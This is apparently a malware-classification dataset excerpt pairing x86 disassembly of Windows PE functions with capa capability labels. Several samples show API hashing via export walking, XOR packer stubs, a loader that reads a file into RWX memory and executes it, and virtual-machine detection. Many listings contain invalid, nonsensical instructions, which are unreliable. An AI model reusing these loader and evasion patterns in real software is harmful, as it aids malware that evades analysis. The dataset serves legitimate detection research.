joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10076179
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x100761d2
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10076179
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10076188
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1047be2b
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x100761d9
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1005d04f
cmp eax, dword [ebp + 0xc]
pop eax
je 0x10076278
add edi, 4
add eax, 2
dec ecx
jne 0x100761be
call 0x10076225
loope 0x1007621b
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10076275
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x10076286
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x10076239
cmp eax, ecx
ja 0x10076239
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100762c3
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100762b9
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1005d52e
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x10076188
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x100761d2
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10076179
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10076188
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1047be2b
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x100761d9
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1005d04f
cmp eax, dword [ebp + 0xc]
pop eax
je 0x10076278
add edi, 4
add eax, 2
dec ecx
jne 0x100761be
call 0x10076225
loope 0x1007621b
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10076275
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x10076286
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x10076239
cmp eax, ecx
ja 0x10076239
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100762c3
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100762b9
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1005d52e
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x40bbf3
Capabilities:
Resolve function by parsing pe exports

Disassembly:
clc
add dword [eax], eax
sub esp, 0x24
pop es
add byte [eax], al
or al, 0x83
push ss
je 0x40be3a
mov eax, dword fs:[0xdee82c]
mov byte [ebp - 1], 0
mov ecx, dword [eax]
mov eax, dword [0x4d2540]
cmp eax, dword [ecx - 0x21ccfffc]
jg 0x40be93
push ebx
mov dword [0x4d2560], 0x40d08
mov dword [0x4d255c], 0x40d08
mov ebx, dword [esi]
push edi
invalid
inc ebp
invalid
inc esp
invalid
dec ebp

Function at 0x41aa5d
Capabilities:
Encode data using xor

Disassembly:
push 0x10
push esi
call fcn.0041fde0
pop ecx
pop ecx
mov eax, esi
pop esi
mov dword [ecx + 0x14], edx
add byte [ebx - 0xe74a983], cl
push edi
xor edi, edi
mov dword [esi], str.AutoIt
cmp dword [esi + 8], edi
jbe 0x41aa9d
mov eax, dword [esi + 4]
push 4
push dword [eax + edi*4]
call 0xeb43fde0
mov eax, dword [esi + 4]
pop ecx
pop ecx
and dword [eax + edi*4], 0
inc edi
cmp edi, dword [esi + 8]
jb 0x41aa81
push dword [esi + 4]
and dword [esi + 8], 0
call 0x841fe27
test byte [ebp - 0x73], 1
pop ecx
je 0x41aaba
push 0x10
push esi
call fcn.0041fde0
pop ecx
pop ecx
pop edi
mov eax, esi
pop esi
adc byte [ecx - 0x74ffebaf], cl
invalid
mov edi, dword [ebp + 0xc]
in al, dx
sub al, 0x53
or byte [ebx], dh
test byte [ebx - 0x36ccfbb0], 0x89
inc ebp
hlt

Function at 0x41fe4e
Capabilities:
Enumerate pe sections

Disassembly:
add byte [ebx + 0x8458b7d], cl
push esi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [ecx + 0x18]
add edx, eax
movzx eax, word [ecx + 6]
imul esi, eax, 0x28
add esi, edx
cmp edx, esi
je 0x41fe89
mov ecx, dword [ebp + 0xc]
cmp ecx, dword [edx + 0xc]
jb 0x41fe82
mov eax, dword [edx + 8]
add eax, dword [edx + 0xc]
cmp ecx, eax
jb 0x41fe8e
add edx, 0x28
cmp edx, esi
jne 0x41fe73
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 0x41fe8b

Function at 0x466450
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, ecx
cmp edi, ebx
je 0x460d83e7
push esi
call 0x576fe8
mov eax, dword [ebx + 8]
cmp dword [edi + 0xc], eax
jae 0x4664aa
push 8
pop edx
cmp eax, edx
jb 0x466479
mov edx, eax
mov dword [edi + 0xc], edx
xor ecx, ecx
mov eax, edx
push 4
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call 0x1441fe26
cmp dword [edi + 4], 0
mov esi, eax
pop ecx
je 0x4664a4
add byte [edi + 4], dh
call fcn.0041fe2f
pop ecx
mov dword [edi + 4], esi
mov eax, dword [ebx + 8]
and dword [ebp + 8], 0xffffff8b
mov dword [edi + 8], eax
sub al, 0xe9
je 0x4664e6
push 0x10
call fcn.0041fdf6
pop ecx
mov ecx, dword [ebx + 4]
mov edx, dword [edx - 0x75]
inc ebp
or byte [ebx + 0x6683810c], cl
or byte [eax], al
jne 0x9c6de102
cli
call 0x8b4eaa63
dec edi
add al, 0x89
xor al, 0x81
inc eax
mov dword [ebp + 8], eax
cmp eax, dword [edi + 8]
jb 0x4664b5
pop esi
Function at 0x471f77
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
sub dword [0x4d06e0], 1
jne 0x471f85
call fcn.00472061
mov eax, dword [0x4d2ff4]
mov ecx, dword [eax]
add eax, 4
mov dword [0x4d2ff4], eax
mov eax, ecx
shr eax, 0xb
xor ecx, eax
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
shr eax, 1
ret

Function at 0x471fbd
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
sub dword [0x4d06e0], 1
jne 0x471fd0
call fcn.00472061
mov eax, dword [0x4d2ff4]
mov ecx, dword [eax]
add eax, 4
mov dword [0x4d2ff4], eax
mov eax, ecx
shr eax, 0xb
xor ecx, eax
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
mov dword [ebp - 4], eax
fild dword [ebp - 4]
jns 0x472013
fadd qword [0x4c81c0]
fstp qword [ebp - 8]
fld qword [ebp - 8]
fmul qword [0x4c8190]
leave
ret

Function at 0x472021
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
xor esi, esi
mov dword [0x4d2630], ecx
inc esi
mov edx, esi
mov eax, dword [edx*4 + 0x4d262c]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [edx*4 + 0x4d2630], eax
inc edx
cmp edx, 0xe8100270
jl 0x47202d
mov dword [0x4d06e0], esi
mov dword [0x4d2ff0], esi
pop esi
ret

Function at 0x472061
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x4d2ff0], 0
push esi
push edi
mov esi, 0x4d2630
jne 0x472084
push 0
call fcn.0042e503
pop ecx
mov ecx, eax
call 0xa8472021
mov dword [0x4d06e0], 0xe8100270
mov edx, 0xe3
mov dword [0x4d2ff4], esi
mov eax, dword [esi + 4]
mov ecx, dword [esi]
xor ecx, eax
and al, 1
and ecx, 0x7f468dfe
movzx eax, al
xor ecx, dword [esi]
shr ecx, 1
neg eax
sbb eax, eax
and eax, 0x9908b0df
xor ecx, eax
xor ecx, dword [esi - 0x17eff9cc]
mov dword [esi], ecx
add esi, 4
sub edx, 1
jne 0x472099
mov eax, dword [esi]
mov dword [ebp - 4], 0x4d19018c
mov edi, dword [esi + 4]
mov ecx, eax
xor ecx, edi
and ecx, 0x7f468dfe
xor ecx, eax
mov eax, edi
and al, 1
shr ecx, 1
movzx eax, al
neg eax
sbb eax, eax
and eax, 0x9908b0df
xor ecx, eax
mov eax, edi
xor ecx, dword [esi - 0x38c]
sub dword [ebp - 4], 1
mov dword [esi], ecx
lea esi, [esi + 4]
jne 0x4720d3
mov eax, dword [0x4d2630]
mov ecx, edi
xor ecx, eax
and al, 1
and ecx, 0x7f468dfe
movzx eax, al
xor ecx, edi
shr ecx, 1
neg eax
pop edi
sbb eax, eax
and eax, 0x9908b0df
xor ecx, eax
xor ecx, dword [esi - 0x38c]
mov dword [esi], ecx
pop esi
leave
ret
Function at 0x472919
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe0
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
lea ecx, [ebp - 0xdc]
call fcn.00472769
add byte [ebp + 8], dh
lea ecx, [ebp - 0xdc]
call fcn.004727ad
xor esi, esi
test ebx, ebx
je 0x47295d
push ecx
push ecx
lea ecx, [ebp - 0xdc]
call 0x46d438ed
xor byte [esi + edi], al
inc esi
cmp esi, ebx
jb 0x472948
pop edi
pop esi
pop ebx
leave
ret

Function at 0x472a55
Capabilities:
Encode data using xor

Disassembly:
and al, 0x8d
test dword [edx + esi*8 + 0x46], ebx
call dword [eax - 0x73]
test esp, edx
cli
invalid
Function at 0x4aa0a0
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffbc
push ebx
push esi
mov esi, ecx
mov ebx, edx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
call fcn.00406c24
xor eax, eax
push ebp
push 0x4aa160
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x3c]
xor ecx, ecx
mov edx, 0x3c
call fcn.00404a64
push ebp
call fcn.004a9fd8
pop ecx
xor eax, eax
push ebp
push 0x4aa143
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x3c], 0x3c
lea eax, [ebp - 0x3c]
push eax
push 0
push 0
mov eax, dword [ebp - 0x40]
call fcn.00407984
push eax
call sub.wininet.dll_InternetCrackUrlW
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x41], al
mov eax, ebx
mov edx, dword [ebp - 0x2c]
call fcn.004079dc
mov eax, esi
mov edx, dword [ebp - 0x10]
call fcn.004079dc
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 8]
call fcn.004079dc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4aa14a
push ebp
call fcn.004aa060
pop ecx
ret
Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x78144e1f
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x430024
nop
nop
nop
nop
nop
mov eax, section..rdata
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x5c256e88
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x4020f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0
push 0x80
push 4
push 0
push 1
push 0x80000000
push str.C:UsersPublicDocumentslogo.cco
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0xc], eax
push 0x40
push 0x1000
mov ecx, dword [ebp - 0xc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x10], eax
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 0x10]
call eax
popal
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x58
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
nop
nop
push ebp
mov ebp, esp
nop
sub eax, 0xffffffff
dec eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402190
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [ebp - 0xac], str.HARDWAREDESCRIPTIONSystemBIOS
lea eax, [ebp - 8]
push eax
push HeapSetInformation
push 0
mov ecx, dword [ebp - 0xac]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40220b
mov edx, dword [ebp - 0xac]
push edx
push str.Failed_to_open_registry_key:
push 0x4229d0
call fcn.00406650
add esp, 8
push eax
call fcn.00406650
add esp, 8
mov dword [ebp - 0xc0], eax
push 0xa
mov ecx, dword [ebp - 0xc0]
call fcn.00402580
mov ecx, dword [ebp - 0xc0]
call fcn.004029c0
xor al, al
jmp 0x4023fb
mov dword [ebp - 4], 0x80
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0xa8]
push ecx
push 0
push 0
push str.SystemManufacturer
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x402275
push str.Failed_to_query_value:_SystemManufacturer
push 0x4229d0
call fcn.00406650
add esp, 8
mov dword [ebp - 0xd0], eax
push 0xa
mov ecx, dword [ebp - 0xd0]
call fcn.00402580
mov ecx, dword [ebp - 0xd0]
call fcn.004029c0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
jmp 0x4023fb
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0xa8]
push edx
lea ecx, [ebp - 0x24]
call fcn.00402490
push str.VMware
call fcn.00409ae0
add esp, 4
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0xe4]
push eax
push 0
push str.VMware
lea ecx, [ebp - 0x24]
call fcn.00404730
mov dword [ebp - 0xe8], eax
mov ecx, dword [ebp - 0xe8]
cmp ecx, dword [0x41e420]
jne 0x4023c7
push str.Virtual
call fcn.00409ae0
add esp, 4
mov dword [ebp - 0xec], eax
mov edx, dword [ebp - 0xec]
push edx
push 0
push str.Virtual
lea ecx, [ebp - 0x24]
call fcn.00404730
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0xf0]
cmp eax, dword [0x41e420]
jne 0x4023c7
push str.Microsoft_Corporation
call fcn.00409ae0
add esp, 4
mov dword [ebp - 0xf4], eax
mov ecx, dword [ebp - 0xf4]
push ecx
push 0
push str.Microsoft_Corporation
lea ecx, [ebp - 0x24]
call fcn.00404730
mov dword [ebp - 0xf8], eax
mov edx, dword [ebp - 0xf8]
cmp edx, dword [0x41e420]
jne 0x4023c7
push str.innotek_GmbH
call fcn.00409ae0
add esp, 4
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0xfc]
push eax
push 0
push str.innotek_GmbH
lea ecx, [ebp - 0x24]
call fcn.00404730
mov dword [ebp - 0x10c], eax
mov ecx, dword [ebp - 0x10c]
cmp ecx, dword [0x41e420]
jne 0x4023c7
push str.Parallels_Software_International_Inc.
call fcn.00409ae0
add esp, 4
mov dword [ebp - 0x110], eax
mov edx, dword [ebp - 0x110]
push edx
push 0
push str.Parallels_Software_International_Inc.
lea ecx, [ebp - 0x24]
call fcn.00404730
mov dword [ebp - 0x120], eax
mov eax, dword [ebp - 0x120]
cmp eax, dword [0x41e420]
je 0x4023e2
mov byte [ebp - 0xad], 1
push 0
push 1
lea ecx, [ebp - 0x24]
call fcn.00404830
mov al, byte [ebp - 0xad]
jmp 0x4023fb
mov byte [ebp - 0xae], 0
push 0
push 1
lea ecx, [ebp - 0x24]
call fcn.00404830
mov al, byte [ebp - 0xae]
mov esp, ebp
pop ebp
ret
Function at 0x40ae0a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x421790]
jne 0x40ae14
repz ret
jmp fcn.00410b0c

Function at 0x415ad7
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x421790]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040f895
and dword [ebp - 0x14], 0
cmp dword [0x423788], 0
mov dword [ebp - 0x18], eax
jne 0x415b8a
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x415c32
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x415c32
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x423788], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x42378c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x423790], eax
call edi
push eax
call esi
mov dword [0x423798], eax
test eax, eax
je 0x415b8a
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x423794], eax
mov eax, dword [0x423794]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x415be3
cmp dword [0x423798], ecx
je 0x415be3
push eax
call esi
push dword [0x423798]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x415be3
test ebx, ebx
je 0x415be3
call edi
test eax, eax
je 0x415bda
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x415bda
test byte [ebp - 8], 1
jne 0x415be3
or dword [ebp + 0x10], 0x200000
jmp 0x415c16
mov eax, dword [0x42378c]
cmp eax, dword [ebp - 0x18]
je 0x415c16
push eax
call esi
test eax, eax
je 0x415c16
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x415c16
mov eax, dword [0x423790]
cmp eax, dword [ebp - 0x18]
je 0x415c16
push eax
call esi
test eax, eax
je 0x415c16
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x423788]
call esi
test eax, eax
je 0x415c32
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x415c34
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ae0a
leave
ret
Function at 0x401407
Capabilities:
Terminate process

Disassembly:
push ebx
mov eax, 0x1f279
mov ebx, 0x12345678
mov ecx, 0x12345678
mov edx, 0x12345678
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [section..data], eax
jmp loc.0047b432
Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
mov ecx, 0x39d291f
nop
nop
nop
test eax, eax
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
mov eax, section..data
nop
nop
mov ebx, 0x42e1d0
mov ecx, 0x642b64b3
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x401193
Capabilities:
Hide graphical window

Disassembly:
push 0
call sub.kernel32.dll_GetModuleHandleA
mov dword [0x409470], eax
call sub.comctl32.dll_InitCommonControls
mov dword [0x40aaba], 0x94
push 0x40aaba
call sub.kernel32.dll_GetVersionExA
cmp dword [0x40aabe], 5
jb 0x401177
push str.user32.dll
call sub.kernel32.dll_GetModuleHandleA
push eax
push str.UpdateLayeredWindow
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [0x40ab4e], eax
pop eax
push str.TrackMouseEvent
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [0x40ab56], eax
push str.gdi32.dll
call sub.kernel32.dll_GetModuleHandleA
push str.AddFontMemResourceEx
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [0x40ab52], eax
push 0xa
push 0
push 0
push dword [0x409470]
call 0x401193
jmp 0x40118d
push 0
push 0x403cb4
push 0
push 0x64
push dword [0x409470]
call sub.user32.dll_DialogBoxParamA
push eax
call sub.kernel32.dll_ExitProcess
push ebp
mov ebp, esp
add esp, 0xffffffb4
push ebx
call fcn.004023d8
push 0x4094b4
push 0x5dc
call fcn.0040245f
mov dword [0x409488], eax
push dword [0x4094b4]
pop dword [0x40901b]
push dword [0x4094b8]
pop dword [0x40901f]
mov dword [ebp - 0x30], 0x30
mov dword [ebp - 0x2c], 0x2003
mov dword [ebp - 0x28], 0x4012f1
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
push dword [0x409470]
pop dword [ebp - 0x1c]
mov dword [ebp - 0x10], 0x10
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0x409007
push 0x63e
push 0
call sub.user32.dll_LoadIconA
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], eax
push 0x63d
push dword [ebp + 8]
call sub.user32.dll_LoadCursorA
or eax, eax
jne 0x40123b
push 0x7f00
push 0
call sub.user32.dll_LoadCursorA
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x30]
push eax
call sub.user32.dll_RegisterClassExA
push 0
call sub.user32.dll_GetSystemMetrics
sub eax, dword [0x4094b4]
shr eax, 1
push eax
push 1
call sub.user32.dll_GetSystemMetrics
sub eax, dword [0x4094b8]
shr eax, 1
pop ebx
mov ecx, 0x80000
cmp byte [0x40a29b], 0
je 0x401278
or ecx, 8
push 0
push dword [ebp + 8]
push 0
push 0
push dword [0x4094b8]
push dword [0x4094b4]
push eax
push ebx
push 0x80000000
push dword [0x40a29d]
push 0x409007
push ecx
call sub.user32.dll_CreateWindowExA
mov dword [0x409474], eax
push 1
push dword [0x409474]
call sub.user32.dll_ShowWindow
push dword [0x409474]
call sub.user32.dll_UpdateWindow
push 0
push 0
push 0
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_GetMessageA
or eax, eax
je 0x4012e9
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_TranslateMessage
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_DispatchMessageA
jmp 0x4012c2
mov eax, dword [ebp - 0x44]
pop ebx
leave
ret 0x10